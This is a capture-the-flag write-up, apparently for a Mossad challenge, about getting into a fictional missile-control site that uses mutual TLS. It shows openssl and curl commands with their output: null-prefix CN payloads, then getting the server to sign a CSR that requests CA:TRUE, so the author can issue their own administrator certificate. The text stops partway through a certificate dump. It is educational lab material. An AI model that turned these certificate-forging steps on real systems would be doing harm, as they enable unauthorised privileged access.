*  start date: Apr 20 09:12:01 2019 GMT
*  expire date: Apr 19 09:12:01 2020 GMT
*  issuer: O=International Weapons Export Inc.
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> GET / HTTP/1.1
> Host: missilesys.com
> User-Agent: curl/7.61.0
> Accept: */*
>
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.14.0 (Ubuntu)
< Date: Sun, 12 May 2019 17:44:18 GMT
< Content-Type: text/html
< Content-Length: 170
< Connection: keep-alive
< Location: http://missilesys.com/notwelcome
<
<html>
<head><title>302 Found</title></head>
<body bgcolor="white">
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>
* Connection #0 to host missilesys.com left intact

Now we get redirected to http://missilesys.com/notwelcome, which contains a big red light and the text "You are not welcome here!":

    <div id="title" class="level1_title">
            <span>You are not welcome here!</span>
    </div>
    <div id="notwelcome">
            <img src="http://dev.missilesys.com/images/red_light.png"></img>
    </div>

If we inspect the TLS handshake, we can see that the server sent us Request CERT - a request for a client-side certificate as part of a mutual authenticate negotiation. In a mutual authentication negotiation, the server not only sends us a certificate chain in order to prove its identity but also requests a certificate chain from us in order to prove our identity. Since we don't have any client-side certificate, the server rejects our access attempt.

The image points to http://dev.missilesys.com, let's visit that:

If we try to enter a username and password, we are redirected to the following page:

With the following POST data:

username=user
password=pass
privatekey=-----BEGIN RSA PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDEczI3G7Eckvvi
jq+s2ZE3JhWnlKctCMVT1koTU3tqVVk1GG1VXS0QblSGJJY6fVU/e5+HXquC55Ku
fXJsBRMv4Q0vR3PgYdYaDxyeCOs+a8lt5xm3c+vIF+8x+zxHtzT7cH5th+EXhaOQ
hOxZgRgT9dKLexyGHZlAnTyxaCYacyaqZ2Y8hs+AchzHsg54q0nKEvg2see5W2kr
kM+5QuS7eaRGgVSbtb4ZS27zZtxV6G5BmccOKPfm31DICfiS5mvP3GY+n7wJfG4Z
4u7GYLLRddIolbtwimqd/buDd0Hs4kUJ01ZGt+EHwo7+9tlHy4S3Pq5AsdAU1cNU
TwnRhCxXAgMBAAECggEAHPwYJRxfWeVv56IA1oJ1VAs497RNpC3em3uLC2XuWCaG
lnhnrUglnX6B1xbv2WpjmQ2+4GS97n8HW9pjdv+asJ5GaTrkJG+a/NZM9R5Aw0F5
A0+tMi2W1Lt/TcMRRk2IMi8LYFLDicpscybBjoUnDc7fxTehYkJcubVZXp2MvasM
iGSeJQEIRUc41AGCPc5thiX1bQCW3fMpSpBk5Ld7Y8AFqS7ewdSk8YBxGSHF4uBN
MnoP/ctqfktTCFanW/LPaDglhew8TOSJ3xeva1zdWTHz8Ak+/2ZG/eSPoihe8Ieq
xjwcweluUwPlZkmkkGYmtbqci3XtGrcWbg24X/p9pQKBgQDpB/A+MSAIOvYuQ8sP
aUW06KlAGLowDB/1HYPM2yRlRnQ0BSelFV2prFBbs1r7TYEzD1/C4tKszI5Y5c/T
UuGqv9igTNxlAcRWO/4SU5xDqSNIbYhV0NTQjcRzV2pKHgi/Haau4rB8h9PBJgTg
CObdt2E2Lfq2Z9tcGACUzKHQTQKBgQDX0DXUEAeo4hV731nuVTT29+doRP3MBY1V
iVcJUxoqmT3K+sssHF4EI8Rm1G3PQDvqi8V8x6lCJhARxZ2vr2T31qsg5byOc8Eu
LoWoHoQv4XRAGp9JW6KHiiPFMchKDiKm+qwoXPEbjJ8rZ7yrjb5GIXCtD5eKVhho
qVb75AThMwKBgErhPSaO3I8oeyDEsgRivH50YKZzC6kSzFYURNzX8isE56Qrn+Ch
K/awoyXETVEBR6njn87c2fuiw373Yb+zG0al3PMtn4hpd/CJ2IuFCGqJeAf3Al8o
+qmFVIIHreThH8hhu8TonPN3Jekj0V84HQ9TtM4XGj/wwYEnSVCHLNvlAoGAB096
Q1C3sbTW3XdXaIdiX+tN325W2o5llzwrwpkaDc9bFIEiWMAtPx6nDISto5Odc/iA
HBX3WdJIQRHcoZLjbLHM4jRmCr1JEfNpe6Rs/eI5OeKs+qMsAkNfqtJg4oFQEy/y
nPto/3HoAmRlM7p9c4q2cmZQz9LSyNjTpXy33ZkCgYAuBjuiB1MXJ23SaSmHi+Ry
x67ye57qtzJBjjNhAvWFfViRwZhEmY71OkOKkjlydpvGEiGvT1v9o+1xWmVflBwY
2AYjQGYeQDxUxGq09sY0i0z4ymbMvb6N+WWq+fbgAEADbDROjdQzjn3cuXexeN2m
ZFv8fZE8JWUCLf2HRxOC0Q==
-----END RSA PRIVATE KEY-----

csr=-----BEGIN CERTIFICATE REQUEST-----
MIICgjCCAWwCAQAwDzENMAsGA1UEAwwEdXNlcjCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAMRzMjcbsRyS++KOr6zZkTcmFaeUpy0IxVPWShNTe2pVWTUY
bVVdLRBuVIYkljp9VT97n4deq4Lnkq59cmwFEy/hDS9Hc+Bh1hoPHJ4I6z5ryW3n
Gbdz68gX7zH7PEe3NPtwfm2H4ReFo5CE7FmBGBP10ot7HIYdmUCdPLFoJhpzJqpn
ZjyGz4ByHMeyDnirScoS+Dax57lbaSuQz7lC5Lt5pEaBVJu1vhlLbvNm3FXobkGZ
xw4o9+bfUMgJ+JLma8/cZj6fvAl8bhni7sZgstF10iiVu3CKap39u4N3QeziRQnT
Vka34QfCjv722UfLhLc+rkCx0BTVw1RPCdGELFcCAwEAAaAwMC4GCSqGSIb3DQEJ
DjEhMB8wHQYDVR0OBBYEFG0tZEZsdBat7bYForQa3Jsm4zwKMAsGCSqGSIb3DQEB
BQOCAQEAhnbp1ZhMINpDVAtknky0pAHd6x7r0FaJmo2QxRMWp49BCdPV6GLS4JTl
eNSz3uz8+iNPwTCqWTleFbA7OsnX1pYPeMGiHJKhPLHg+Tlfm3ozXc1jfskDXUJ7
GuCaHJnUf4FubjgTVkKL2Q5sZt7EWP3PIbw8x5ZMUVGCQatde9bLTf+1sMxZ5SJm
A3r3eYXSKgEXE/ePInelL4QPU7fNuK5+5AVdvuiIeBNOI6K5piqJPQPFZIEf1l6+
d7HAgUB37mZ0NCLMuO6kO+CocCKDX1PH+cXW1nee1YM8vKZpEdb1QbI3Qwci3q4P
CT1xF5tdlF0mg6nEQp89gAAy/aS61w==
-----END CERTIFICATE REQUEST-----

As you can see, in addition to our username and password, the form included two hidden fields for a private RSA key and a certificate signing request.

Let's inspect the CSR (certificate signing request) by copying it to a file and running the following command:

root@kali:/media/sf_CTFs/mossad/2# openssl req -in user.csr -text -noout
Certificate Request:
    Data:
        Version: 1 (0x0)
        Subject: CN = user
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:c4:73:32:37:1b:b1:1c:92:fb:e2:8e:af:ac:d9:
                    91:37:26:15:a7:94:a7:2d:08:c5:53:d6:4a:13:53:
                    7b:6a:55:59:35:18:6d:55:5d:2d:10:6e:54:86:24:
                    96:3a:7d:55:3f:7b:9f:87:5e:ab:82:e7:92:ae:7d:
                    72:6c:05:13:2f:e1:0d:2f:47:73:e0:61:d6:1a:0f:
                    1c:9e:08:eb:3e:6b:c9:6d:e7:19:b7:73:eb:c8:17:
                    ef:31:fb:3c:47:b7:34:fb:70:7e:6d:87:e1:17:85:
                    a3:90:84:ec:59:81:18:13:f5:d2:8b:7b:1c:86:1d:
                    99:40:9d:3c:b1:68:26:1a:73:26:aa:67:66:3c:86:
                    cf:80:72:1c:c7:b2:0e:78:ab:49:ca:12:f8:36:b1:
                    e7:b9:5b:69:2b:90:cf:b9:42:e4:bb:79:a4:46:81:
                    54:9b:b5:be:19:4b:6e:f3:66:dc:55:e8:6e:41:99:
                    c7:0e:28:f7:e6:df:50:c8:09:f8:92:e6:6b:cf:dc:
                    66:3e:9f:bc:09:7c:6e:19:e2:ee:c6:60:b2:d1:75:
                    d2:28:95:bb:70:8a:6a:9d:fd:bb:83:77:41:ec:e2:
                    45:09:d3:56:46:b7:e1:07:c2:8e:fe:f6:d9:47:cb:
                    84:b7:3e:ae:40:b1:d0:14:d5:c3:54:4f:09:d1:84:
                    2c:57
                Exponent: 65537 (0x10001)
        Attributes:
        Requested Extensions:
            X509v3 Subject Key Identifier:
                6D:2D:64:46:6C:74:16:AD:ED:B6:05:A2:B4:1A:DC:9B:26:E3:3C:0A
    Signature Algorithm: sha1WithRSAEncryption
         86:76:e9:d5:98:4c:20:da:43:54:0b:64:9e:4c:b4:a4:01:dd:
         eb:1e:eb:d0:56:89:9a:8d:90:c5:13:16:a7:8f:41:09:d3:d5:
         e8:62:d2:e0:94:e5:78:d4:b3:de:ec:fc:fa:23:4f:c1:30:aa:
         59:39:5e:15:b0:3b:3a:c9:d7:d6:96:0f:78:c1:a2:1c:92:a1:
         3c:b1:e0:f9:39:5f:9b:7a:33:5d:cd:63:7e:c9:03:5d:42:7b:
         1a:e0:9a:1c:99:d4:7f:81:6e:6e:38:13:56:42:8b:d9:0e:6c:
         66:de:c4:58:fd:cf:21:bc:3c:c7:96:4c:51:51:82:41:ab:5d:
         7b:d6:cb:4d:ff:b5:b0:cc:59:e5:22:66:03:7a:f7:79:85:d2:
         2a:01:17:13:f7:8f:22:77:a5:2f:84:0f:53:b7:cd:b8:ae:7e:
         e4:05:5d:be:e8:88:78:13:4e:23:a2:b9:a6:2a:89:3d:03:c5:
         64:81:1f:d6:5e:be:77:b1:c0:81:40:77:ee:66:74:34:22:cc:
         b8:ee:a4:3b:e0:a8:70:22:83:5f:53:c7:f9:c5:d6:d6:77:9e:
         d5:83:3c:bc:a6:69:11:d6:f5:41:b2:37:43:07:22:de:ae:0f:
         09:3d:71:17:9b:5d:94:5d:26:83:a9:c4:42:9f:3d:80:00:32:
         fd:a4:ba:d7

The main detail here is that the certificate is being issued in order to authenticate user (which is the username we entered).

By inspecting the form source, we can see that these additional fields were generated by a script upon form submission:

<form method="post">
    <div id="username">
        <span>Username:</span>
        <input name="username" type="text"></input>
    </div>
    <div id="password">
        <div>Password:</div>
        <input name="password" type="password"></input>
    </div>
    <div id="submit">
        <input id="privatekey" name="privatekey" type="hidden"></input>
        <input id="csr" name="csr" type="hidden"></input>
        <input type="button" onclick="gencsr()" value="Submit"></input>    
    </div>
</form>

gencsr() is implemented in a javascript file included by the page. This file seems to be based on the PKI.js library, with some custom code:

function gencsr() {
    createPKCS10(document.querySelector("#username input").value);
}

function createPKCS10(cn) {
    return Promise.resolve().then(() => createPKCS10Internal(cn)).then(() => {
        var resultString = "-----BEGIN CERTIFICATE REQUEST-----\r\n";
        resultString = `${resultString}${formatPEM(toBase64(arrayBufferToString(pkcs10Buffer)))}`;
        resultString = `${resultString}\r\n-----END CERTIFICATE REQUEST-----\r\n`;

        document.getElementById("csr").value = resultString;
        document.getElementById("privatekey").value = window.privateKey;
        document.querySelector("#signup form").submit();
    });
}

The custom code seems to generate a private key, and create a CSR with our selected username as the CN.

If we click the "Download" link, we get to download a file called user.p12. This is a PKCS #12 file:

In cryptography, PKCS #12 defines an archive file format for storing many cryptography objects as a single file. It is commonly used to bundle a private key with its X.509 certificate or to bundle all the members of a chain of trust.

Let's inspect it:

root@kali:/media/sf_CTFs/mossad/2# openssl pkcs12 -info -in user.p12
Enter Import Password:
MAC: sha1, Iteration 2048
MAC length: 20, salt length: 8
PKCS7 Encrypted data: pbeWithSHA1And40BitRC2-CBC, Iteration 2048
Certificate bag
Bag Attributes
    localKeyID: A0 AE D7 F1 54 72 79 71 D8 04 6E 0C E7 69 5A CD 07 C5 3F 1D
subject=CN = user

issuer=O = International Weapons Export Inc.

-----BEGIN CERTIFICATE-----
MIIC4jCCAcqgAwIBAgIBATANBgkqhkiG9w0BAQsFADAsMSowKAYDVQQKDCFJbnRl
cm5hdGlvbmFsIFdlYXBvbnMgRXhwb3J0IEluYy4wHhcNMTkwNTEyMTgwMDQxWhcN
MjAwNTExMTgwMDQxWjAPMQ0wCwYDVQQDDAR1c2VyMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAxHMyNxuxHJL74o6vrNmRNyYVp5SnLQjFU9ZKE1N7alVZ
NRhtVV0tEG5UhiSWOn1VP3ufh16rgueSrn1ybAUTL+ENL0dz4GHWGg8cngjrPmvJ
becZt3PryBfvMfs8R7c0+3B+bYfhF4WjkITsWYEYE/XSi3schh2ZQJ08sWgmGnMm
qmdmPIbPgHIcx7IOeKtJyhL4NrHnuVtpK5DPuULku3mkRoFUm7W+GUtu82bcVehu
QZnHDij35t9QyAn4kuZrz9xmPp+8CXxuGeLuxmCy0XXSKJW7cIpqnf27g3dB7OJF
CdNWRrfhB8KO/vbZR8uEtz6uQLHQFNXDVE8J0YQsVwIDAQABoywwKjAJBgNVHRME
AjAAMB0GA1UdDgQWBBRtLWRGbHQWre22BaK0GtybJuM8CjANBgkqhkiG9w0BAQsF
AAOCAQEAK53ccwjm0BSOdgFhrKH8YUnsH2T6mFBt4x3oidVuS3HyVHSnCsLVKAiU
FuuGKq2SbHIrEQwwdoI5Lnw5OeXEzsGpvzEGKFs5QaABCRflg1lOsQimc8ciTZ1r
BY8EpC2YTmV9b837PU6/C3mvDEc74AywYp/EKS+4pEsIn/XVDCQ5DuOqKkhF2BAE
Hzm5n7nsGf2oEBq/YkquQ1AX1yZtyrWBAQQxTJAx/+Fl3Rnd//pfgc9YA+xDqPd+
SmJMNDA84VTrU2TtNRzkhw5BND5SCbXjHJhaAIpemwt+fZCFLVARvWvDNq/9w/UZ
eH+uSIgT06HgYluFm27oowwYNlouDw==
-----END CERTIFICATE-----
Certificate bag
Bag Attributes: <No Attributes>
subject=O = International Weapons Export Inc.

issuer=O = International Weapons Export Inc.

-----BEGIN CERTIFICATE-----
MIIDLjCCAhagAwIBAgIJAIfwMMwTXISVMA0GCSqGSIb3DQEBCwUAMCwxKjAoBgNV
BAoMIUludGVybmF0aW9uYWwgV2VhcG9ucyBFeHBvcnQgSW5jLjAeFw0xOTA0MjAw
OTEyMDFaFw0xOTA1MjAwOTEyMDFaMCwxKjAoBgNVBAoMIUludGVybmF0aW9uYWwg
V2VhcG9ucyBFeHBvcnQgSW5jLjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALXZVC+c1A/4E8dVtZXOAGB4P5lX6zq/OtHa7mUruvVXTlmRiQxrP582C/9D
yVx3n8FeR6TAcRtQIDHeQtbcovKD7m6QaZD2xh+liNkwnATU0XEc/eg04KUbu8m2
hbLDtPUwjSNqcEgs+KC3MQDXlOwhLAO0K6x4j6dAniEDlev3H7C+PcCcBSepYRyW
Hs0NM+VW+69mMEGD0uHW14i3GhAxzJ40jQe30/EO9zdylVpWdpWlzVTw3sLU/7EV
aPc/SfIehOeZ7hRiB1B3dy5KFu7LamusHoYduCjqwY2435ODZtxdJ4x+u7PKv3eb
XRbcObYA10OkXFprvdigVTak7P8CAwEAAaNTMFEwHQYDVR0OBBYEFGRYGlEuaMZ+
hClg+aeMsSF2+PSoMB8GA1UdIwQYMBaAFGRYGlEuaMZ+hClg+aeMsSF2+PSoMA8G
A1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAIDUDzQlEh97jzRkMNds
TWEo2xiwYOspmbloiq1MV/uFG+CkgeE8/OeizsKPGlGmlxeJ0wfVGrPf0hSBISDV
Bf2xN3QV9yHVtoJBr8hNyQN5Mvkl7q54TjrRvVhK4RWzSfnKzpV1btE9aEUmGpXH
E9CI5sVx7FFMHQiXmuO3C1nXTV/gFUxGtpJE01xeD4xtfPM4yx6FWiGB1kdC8TsF
0HcE9pc2yWO/+C1YzVe+Zd0miCAXebh8g51PlAJhLJBLizQJFKg8jSGyDquhSPPq
bzWmsTg7gC4p3zELjQmQZe7H7qwa5DmNLovrOhzLOhFh0fBx3210HbqDPw7TNW8h
Cco=
-----END CERTIFICATE-----
PKCS7 Data
Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2048
Bag Attributes
    localKeyID: A0 AE D7 F1 54 72 79 71 D8 04 6E 0C E7 69 5A CD 07 C5 3F 1D
Key Attributes: <No Attributes>
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIFHDBOBgkqhkiG9w0BBQ0wQTApBgkqhkiG9w0BBQwwHAQIekaYQxMj9iwCAggA
MAwGCCqGSIb3DQIJBQAwFAYIKoZIhvcNAwcECBsX2X0EXQE+BIIEyEJHWDFVQw1t
Wglw0fePUq3+9IWLTBwmYH1z3DmW5IoLBnbdLjdFIfI3UpEpZCAWCvX6f7XmVtI3
F2RtbJ5ThdWa+QbF+1jd98//j0nxnzxOnhIO15JdTwKTR+e0Kn9jDEXvpNr+Pc/C
38pu3QHdGp0eOr5zs0H4/mrUviUQx9QfGNgj19XFhtn4NWEF8h4r9AH/cHpVDrN2
zhoOsco6W7q2oxmB8A1w4NrifuUCovCiK4eFPmzBX+H0zYUZ0JFaigHOLOXpZuXh
r5QRw37+Mlon/5LhGLP7D00Libu3ozksaY/3mqCnwz9YrAuA5wKcqe1fwJG2LhTO
Ijb1uKqORtLVKV2xeacML0U+XZFryBF1z9pR0M0InNWtgHj/O2fwKvRLR7vVJCuK
Jay5VTWNp5NqeD8M4ZsQWQL9f0thsvV0Ouh/wAFEcQ4DQGk1omXeiSn3cWKV7T+3
9p2aIZiEGVRKiDb3Z0PVUzXgMuMnr7ErMPhAIRdbXDIbkkg5eqHVhw1U9nmFpZPk
IUccpUQxztM8zipKuSrVMsaaP4jI64unNuNbHgV4UtYHz6KFNee/Y0L2DCnzdLMt
437BttCC85TSf1Vsb02lZoiPcTEjq2/jKzXOBH1RMVM9OGwDFkU85T4IOxT8KQM8
+Uk2+mD4fpnOcXYZTkatMm3F/U/d5Hzmwe8BbBuVFzYMlkG4UvExa1/GAYDAhTiw
QppC2E82Rv1V7IrS0l5airb3HBfPjpjX+kMiH/2QqIhjyMBITCMiVTCAYmMtvKLt
11kD+goqaW8PdsriNJxVK5ydR5j9MsdzRPmKY0hw07s0IIj8QQFF3isgQlREgEmw
nz1EE/sM7tn8j0GiEhYUxZMLqtpg65fe373Nvjd5ik4FNS+L1kHUuxb7iOHS5yEQ
JoAsidtgbzQqNM8XLZbz12th/WJE1qtYKzAxFP2MQZ4JbLvtmRDFGcH9ewVOKY5e
L2ynk3/gGzY6nHtqW1cDOGsM/U6PNKQ5ays2MY9XlDpNAo5STTuYNQquEKfugnk8
vugRcm4kLc3TCtfsSDjCVACCUm3u1e8/MeopNQ9bDFxyjrRJcUkDefdGEr7qpuMy
SmxBOHSzIUQXH7kJO2k4vW49N8af3ruO4LmrDn16IxWgq4jwfArSMsH92Afu5LmJ
+dB6txxSHBcbN4wAKXuJGsy3qwLyOL+lKFuffaidxhsjdFNeL5pe/IQfEjJ5+ED3
lVpArp0UAd5wlH6R7mzlq0YdDhJsdw25WPRC5Rpkoe10Ue0q37H5D4T6pCOQg70s
kny8fJedrVjxVdY7hYwUBXUjZSBPH0G7AWEqsYBaU5TNHizjFGEOnMVm0qhhJiPV
F0zwwdFv0VwCzYYmeYAVLbaHWuVmDoYU42kv8wBXoRYFrPuAy4QQOMvPaYbikYc6
4+3dNagvyBGIeMgg7ZEypqQMGtkuPN1fbt3c5WMaA0Hs+VFZJSJcEEjHcUQgrGqO
qPGkq9AhJPV8puHvassE0kqzSQnGUNuOsVFyV4uOIrvc4cSmn1CQjMGxW3FRbGHm
wbtEA82E9Pte/HCl0gs7EJEI6nrMV25CwgQxdnhR07hQTizeUo+aBpCHuZrwp4ud
ZndmJx9urwUzSRHY4wZVhw==
-----END ENCRYPTED PRIVATE KEY-----

We can see that the certificate request we sent using the form was signed by the server, and now we have what seems to be a valid certificate chain which authenticates user and builds up to "International Weapons Export Inc." (which is also the issuer of the server certificate which was used when attempting to access https://missilesys.com/).

Can we use this chain to access http://missilesys.com?

We add the chain to our Personal certificate store:

Now we try to access the website again. This time, the browser asks us which client-side certificate we'd like to use for mutual authentication:

We chose the newly installed certificate and can finally access the control panel:

Looks serious. On the top right corner we have a "settings" link, but if we try to click it, we get an error message stating that "You are not the administrator!".

No problem, we can just head back to http://dev.missilesys.com and issue a certificate with administrator as the CN, right?

Not so easy, the server doesn't accept administrator as a valid name, and states that "User already exists!".

Some implementations are vulnerable to a null prefix attack, where we insert a null byte inside the CN and faulty implementations might stop the comparison when they hit the null byte, or ignore the null byte altogether.

All the following attempts were signed successfully by the server, allowed accessing the main control panel, but failed when attempting to access the setting page:

subject=CN = admin\00istrator
subject=CN = administrator\00a
subject=CN = administrator\00

We have to find a different way to trick the server into signing an "administrator" certificate for us. Or is there another option?

Let's take a closer look at the certificate the server signed for us.

First we extract the certificate from the PKCS#12 file, and then inspect it:

root@kali:/media/sf_CTFs/mossad/2# openssl pkcs12 -in user.p12  -clcerts -nokeys -out user.pem
Enter Import Password:
root@kali:/media/sf_CTFs/mossad/2# openssl x509 -in user.pem -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1 (0x1)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: O = International Weapons Export Inc.
        Validity
            Not Before: May 12 18:00:41 2019 GMT
            Not After : May 11 18:00:41 2020 GMT
        Subject: CN = user
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:c4:73:32:37:1b:b1:1c:92:fb:e2:8e:af:ac:d9:
                    91:37:26:15:a7:94:a7:2d:08:c5:53:d6:4a:13:53:
                    7b:6a:55:59:35:18:6d:55:5d:2d:10:6e:54:86:24:
                    96:3a:7d:55:3f:7b:9f:87:5e:ab:82:e7:92:ae:7d:
                    72:6c:05:13:2f:e1:0d:2f:47:73:e0:61:d6:1a:0f:
                    1c:9e:08:eb:3e:6b:c9:6d:e7:19:b7:73:eb:c8:17:
                    ef:31:fb:3c:47:b7:34:fb:70:7e:6d:87:e1:17:85:
                    a3:90:84:ec:59:81:18:13:f5:d2:8b:7b:1c:86:1d:
                    99:40:9d:3c:b1:68:26:1a:73:26:aa:67:66:3c:86:
                    cf:80:72:1c:c7:b2:0e:78:ab:49:ca:12:f8:36:b1:
                    e7:b9:5b:69:2b:90:cf:b9:42:e4:bb:79:a4:46:81:
                    54:9b:b5:be:19:4b:6e:f3:66:dc:55:e8:6e:41:99:
                    c7:0e:28:f7:e6:df:50:c8:09:f8:92:e6:6b:cf:dc:
                    66:3e:9f:bc:09:7c:6e:19:e2:ee:c6:60:b2:d1:75:
                    d2:28:95:bb:70:8a:6a:9d:fd:bb:83:77:41:ec:e2:
                    45:09:d3:56:46:b7:e1:07:c2:8e:fe:f6:d9:47:cb:
                    84:b7:3e:ae:40:b1:d0:14:d5:c3:54:4f:09:d1:84:
                    2c:57
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints:
                CA:FALSE
            X509v3 Subject Key Identifier:
                6D:2D:64:46:6C:74:16:AD:ED:B6:05:A2:B4:1A:DC:9B:26:E3:3C:0A
    Signature Algorithm: sha256WithRSAEncryption
         2b:9d:dc:73:08:e6:d0:14:8e:76:01:61:ac:a1:fc:61:49:ec:
         1f:64:fa:98:50:6d:e3:1d:e8:89:d5:6e:4b:71:f2:54:74:a7:
         0a:c2:d5:28:08:94:16:eb:86:2a:ad:92:6c:72:2b:11:0c:30:
         76:82:39:2e:7c:39:39:e5:c4:ce:c1:a9:bf:31:06:28:5b:39:
         41:a0:01:09:17:e5:83:59:4e:b1:08:a6:73:c7:22:4d:9d:6b:
         05:8f:04:a4:2d:98:4e:65:7d:6f:cd:fb:3d:4e:bf:0b:79:af:
         0c:47:3b:e0:0c:b0:62:9f:c4:29:2f:b8:a4:4b:08:9f:f5:d5:
         0c:24:39:0e:e3:aa:2a:48:45:d8:10:04:1f:39:b9:9f:b9:ec:
         19:fd:a8:10:1a:bf:62:4a:ae:43:50:17:d7:26:6d:ca:b5:81:
         01:04:31:4c:90:31:ff:e1:65:dd:19:dd:ff:fa:5f:81:cf:58:
         03:ec:43:a8:f7:7e:4a:62:4c:34:30:3c:e1:54:eb:53:64:ed:
         35:1c:e4:87:0e:41:34:3e:52:09:b5:e3:1c:98:5a:00:8a:5e:
         9b:0b:7e:7d:90:85:2d:50:11:bd:6b:c3:36:af:fd:c3:f5:19:
         78:7f:ae:48:88:13:d3:a1:e0:62:5b:85:9b:6e:e8:a3:0c:18:
         36:5a:2e:0f

What is the difference between a CA (certificate authority) certificate and a leaf certificate? The CA certificate can be used to sign other certificates, while a leaf certificate cannot. And how does the browser (or any other entity verifying the chain) know if a certificate is a leaf or not? Using the following field:

X509v3 Basic Constraints:
    CA:FALSE

If we didn't have this field, any malicious entity could purchase a legitimate certificate from a trusted CA and then use it to extend the chain by signing additional certificates. Therefore, when CAs issue certificates to end entities, they set "Basic Constraints: CA = FALSE" in the issued certificate and the browser knows not to trust a chain where any certificate but the last one has CA = FALSE.

What if we could get the server to sign a certificate with CA = TRUE? We could then sign our own certificate with CN = administrator.

We start by creating a private key for our intermediate certificate (in theory we could also use the one generated by the javascript file):

[email protected]:/media/sf_CTFs/mossad/2# openssl genrsa -out intermediate_key.pem 2048
Generating RSA private key, 2048 bit long modulus (2 primes)
............................................................................................................+++++
...................+++++
e is 65537 (0x010001)

Now, we need to issue a CSR for a certificate with CA = TRUE:

[email protected]:/media/sf_CTFs/mossad/2# openssl req -addext basicConstraints=critical,CA:TRUE,pathlen:1 -outform pem -out intermediate_csr.pem -key intermediate_key.pem -new
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:.
State or Province Name (full name) [Some-State]:.
Locality Name (eg, city) []:.
Organization Name (eg, company) [Internet Widgits Pty Ltd]:.
Organizational Unit Name (eg, section) []:.
Common Name (e.g. server FQDN or YOUR name) []:Evil MITM
Email Address []:.

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
[email protected]:/media/sf_CTFs/mossad/2# openssl req -text -noout -in intermediate_csr.pem | grep CA -B 3
        Attributes:
        Requested Extensions:
            X509v3 Basic Constraints: critical
                CA:TRUE, pathlen:1

Now we request the server to sign our CSR:

[email protected]:/media/sf_CTFs/mossad/2# curl 'https://dev.missilesys.com/download_cert' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded' --data 'username=user&password=pass' --insecure --data-urlencode privatekey@intermediate_key.pem --data-urlencode csr@intermediate_csr.pem --output intermediate.p12
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  6108    0  3213  100  2895   3811   3434 --:--:-- --:--:-- --:--:--  7245
[email protected]:/media/sf_CTFs/mossad/2#  openssl pkcs12 -in intermediate.p12 -clcerts -nokeys -out intermediate.pem
Enter Import Password:
[email protected]:/media/sf_CTFs/mossad/2# openssl x509 -in intermediate.pem -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1 (0x1)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: O = International Weapons Export Inc.
        Validity
            Not Before: May 12 19:42:38 2019 GMT
            Not After : May 11 19:42:38 2020 GMT
        Subject: CN = Evil MITM
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:cb:87:89:23:0d:e0:e9:dd:e0:09:bb:26:df:86:
                    72:6e:7e:52:b0:f7:1e:98:54:89:00:c8:9f:48:b6:
                    8d:83:c5:76:55:0b:65:9f:b2:72:28:42:c3:ab:a7:
                    68:ef:b1:2b:1c:34:b1:f6:c9:77:6f:a4:1a:7e:8d:
                    21:38:04:88:31:3d:a1:63:bd:22:df:6f:de:d2:ed:
                    57:ad:9b:93:64:03:4e:02:b4:d8:af:f3:d5:bc:a0:
                    50:cd:df:74:37:85:a1:aa:98:cc:a5:4b:d4:cc:88:
                    8a:04:3d:2e:aa:bc:06:6a:a2:52:c0:44:92:37:8f:
                    10:72:28:e7:15:e2:ad:b7:b5:24:b3:ff:fc:29:09:
                    d1:c2:42:96:bf:05:9f:1a:75:3b:3a:65:a9:5b:d2:
                    7c:4a:47:ac:1c:d4:f9:a1:64:83:5a:11:cf:8b:f6:
                    ab:09:80:23:a1:c6:8e:d2:41:39:e1:05:96:28:84:
                    a6:6d:8b:83:11:6f:2b:a9:30:4f:4d:2e:e6:75:59:
                    e2:79:15:f0:db:88:13:24:ce:3c:83:68:b2:54:31:
                    9d:b5:0e:3a:44:5a:b3:64:22:11:ef:98:4f:0d:55:
                    6f:94:b6:a6:fd:f6:54:0d:95:c4:68:f7:ba:49:10:
                    b8:a9:fb:f8:25:51:5e:46:cd:6d:24:4b:64:17:49:
                    06:03
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints:
                CA:TRUE
            X509v3 Subject Key Identifier:
                01:12:D6:0D:F5:04:76:E2:5C:3B:68:7B:37:F3:AB:C4:B4:E6:31:13
    Signature Algorithm: sha256WithRSAEncryption
         7d:2e:1e:c9:df:d0:20:29:a0:5e:11:87:a1:d3:e2:3f:76:c6:
         2d:5d:da:d5:53:51:5c:6b:b1:5c:e9:37:9d:69:ed:43:fe:e1:
         ab:75:4f:22:42:43:cf:f4:6f:4f:a8:fc:70:82:a1:82:bc:26:
         6f:7c:7e:7c:13:52:96:b3:16:85:af:fe:78:93:0b:06:05:c9:
         aa:99:ed:86:84:66:54:14:ca:5b:58:5f:56:1c:c8:ad:5b:9a:
